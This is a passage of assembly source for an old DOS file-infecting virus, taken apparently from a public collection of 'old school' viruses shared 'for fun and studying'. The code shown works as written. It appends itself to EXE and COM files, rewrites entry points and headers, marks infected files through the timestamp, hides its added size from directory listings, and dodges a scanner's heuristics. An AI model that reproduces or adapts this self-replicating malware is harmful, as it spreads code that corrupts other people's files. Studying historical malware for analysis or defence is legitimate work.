compo.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

        mov     ax, 5701h
        call    dos

        mov     ah, 3Eh                 ; Close file
        call    dos
exitinfect:
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        ret
infect  endp

infectexe:
        ; Read header from .exe file
        mov     ah, 3Fh
        lea     dx, last                        ; Use memory above virus
        mov     cx, 16h
        call    dos

        ; Calculate address of entrypoint
        mov     ax, word ptr last[entryseg]     ; Get entry cs value
        add     ax, word ptr last[headsize]     ; Get header size
        mov     cx, 10h                         ; Convert to bytes
        mul     cx
        add     ax, word ptr last[entryofs]     ; add ip offset
        adc     dx, 00

        ; Seek to entrypoint
        mov     cx, dx
        xchg    dx, ax
        mov     ax, 4200h
        call    dos

        ; Check if already infected
        mov     ah, 3Fh                         ; Read bytes at entry
        mov     cx, 4h
        lea     dx, orgip
        mov     si, dx
        call    dos

        lodsw                                   ; Compare entry to virus
        cmp     ax, word ptr start
        jne     exenotinf
        lodsw
        cmp     ax, word ptr start[2]
        je      infectdone


exenotinf:
        ; Mark infection
        pop     ax                              ; Get time stamp
        and     al, 0E0h                        ; Mask seconds
        or      al, 003h                        ; Set seconds to 6
        push    ax

        ; Infect file
        lea     si, last[entryofs]              ; Save program information
        lodsw
        mov     orgip, ax
        lodsw
        mov     orgcs, ax
        mov     cs:com, 0                       ; This is .exe

        ; Calculate virus entry
        mov     ax, 4202h                       ; Seek to eof
        xor     cx, cx
        cwd
        call    dos

        xchg    ax, dx                          ; eof pos in ax:dx
        mov     cl, 12
        shl     ax, cl
        mov     word ptr last[entryseg], ax
        xchg    ax, dx
        xor     dx, dx
        mov     cx, 10h                         ; Convert eof pos to paras
        div     cx
        sub     ax, word ptr last[headsize]     ; Calculate entry for virus
        add     word ptr last[entryseg], ax     ; Save in header
        mov     word ptr last[entryofs], dx

        ; Recalculate size
        mov     ax, word ptr last[lastsize]
        add     ax, bytesize
        cwd
        mov     cx, 200h
        div     cx
        mov     word ptr last[lastsize], dx
        add     word ptr last[pages], ax


        mov     ah, 3Fh                         ; Append virus
        mov     dx, 100h
        mov     cx, bytesize
        inc     ah                              ; TB-Moron(tm)
        push    ax
        call    dos

        ; Save modified exe-header
        mov     ax, 4200h                       ; Seek to header
        xor     cx, cx
        mov     dx, 2
        call    dos

        pop     ax
        lea     dx, last                        ; Write header
        mov     cx, 16h
        call    dos

        jmp     infectdone


infectcom:
        ; Installation check
        call    ichkcom
        jnc     comnotinf
        jmp     infectdone

comnotinf:

        ; Mark infection
        pop     ax                              ; Get time stamp
        and     al, 0E0h                        ; Mask seconds
        or      al, 003h                        ; Set seconds to 6
        push    ax

        mov     com, 0FFh

        ; Seek to eof
        mov     ax, 4202h
        xor     cx, cx
        cwd
        call    dos

        ; Create jump opcode
        sub     ax, 3
        mov     word ptr last, ax

        ; Append virus
        mov     ah, 3Fh
        mov     cx, bytesize
        mov     dx, 100h
        inc     ah                              ; TB...
        push    ax
        call    dos

        ; Write jump to beginning of file
        mov     ax, 4200h
        xor     cx, cx
        cwd
        call    dos
        pop     ax                              ; TB...
        mov     cx, 3
        lea     dx, jumpop
        call    dos

        jmp     infectdone



findhandle:
        pushf
        push    ax
        push    bx
        push    cx
        push    si
        push    di
        push    ds
        push    es

        call    getdta                  ; dta to es:si and ds:si
        mov     di, si

        mov     al, si[16h]             ; Get seconds
        and     al, 1Fh
        cmp     al, 3
        pushf

        add     di, 1Eh                 ; di to name
        mov     cx, 9
        mov     al, '.'
        repne   scasb                   ; scan for extension
        xchg    si, di
        lodsw
        cmp     ax, 'OC'                ; check if com?
        je      hdlcom
        cmp     ax, 'XE'
        je      hdlexe
        popf
        jmp     hdlexit

hdlcom:
hdlexe:
        popf
        jne     hdlexit
        sub     word ptr di[1Ah], bytesize
        sbb     word ptr di[1Ch], 0

hdlexit:
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     cx
        pop     bx
        pop     ax
        popf
        retf    2






ichkcom proc
; Checks if com-file with handle in bx is infected

        mov     ax, 4200h               ; Seek to beginning
        xor     cx, cx
        cwd
        call    dos

        push    ds

        mov     ah, 3Fh                 ; Read first bytes
        mov     cl, 3
        mov     dx, offset orgip
        call    dos

        cmp     byte ptr orgip, 0E9h    ; Check if jump
        jne     icnotinf

        mov     ax, 4201h               ; Seek to entry point
        xor     cx, cx
        mov     dx, word ptr orgip[1]
        call    dos

        mov     cl, 4
        call    readtolast              ; Get entry point
        cmp     word ptr last, 0E81Eh
        jne     icnotinf
        cmp     word ptr last[2], 00007h
        jne     icnotinf

        pop     ds
        stc                             ; Return with carry
        ret
icnotinf:
        pop     ds
        clc                             ; Not infected
        ret
ichkcom         endp



dos     proc
        pushf
        call    dword ptr cs:org21o
        ret
dos     endp


getdta  proc
        mov     ah, 2Fh                 ; Get dta
        call    dos
        push    es                      ; ds:si to dta
        pop     ds
        mov     si, bx
        ret
getdta  endp


readtolast      proc
        mov     ah, 3Fh
        push    cs
        pop     ds
        mov     dx, offset last
        call    dos
        ret
readtolast      endp



jumpop  db      0E9h
last:

exehead struc
        lastsize        dw      ?
        pages           dw      ?
        tblesize        dw      ?
        headsize        dw      ?
        minalloc        dw      ?
        maxalloc        dw      ?
        stackseg        dw      ?
        stackofs        dw      ?
        checksum        dw      ?
        entryofs        dw      ?
        entryseg        dw      ?
exehead ends

end     start
================================================================================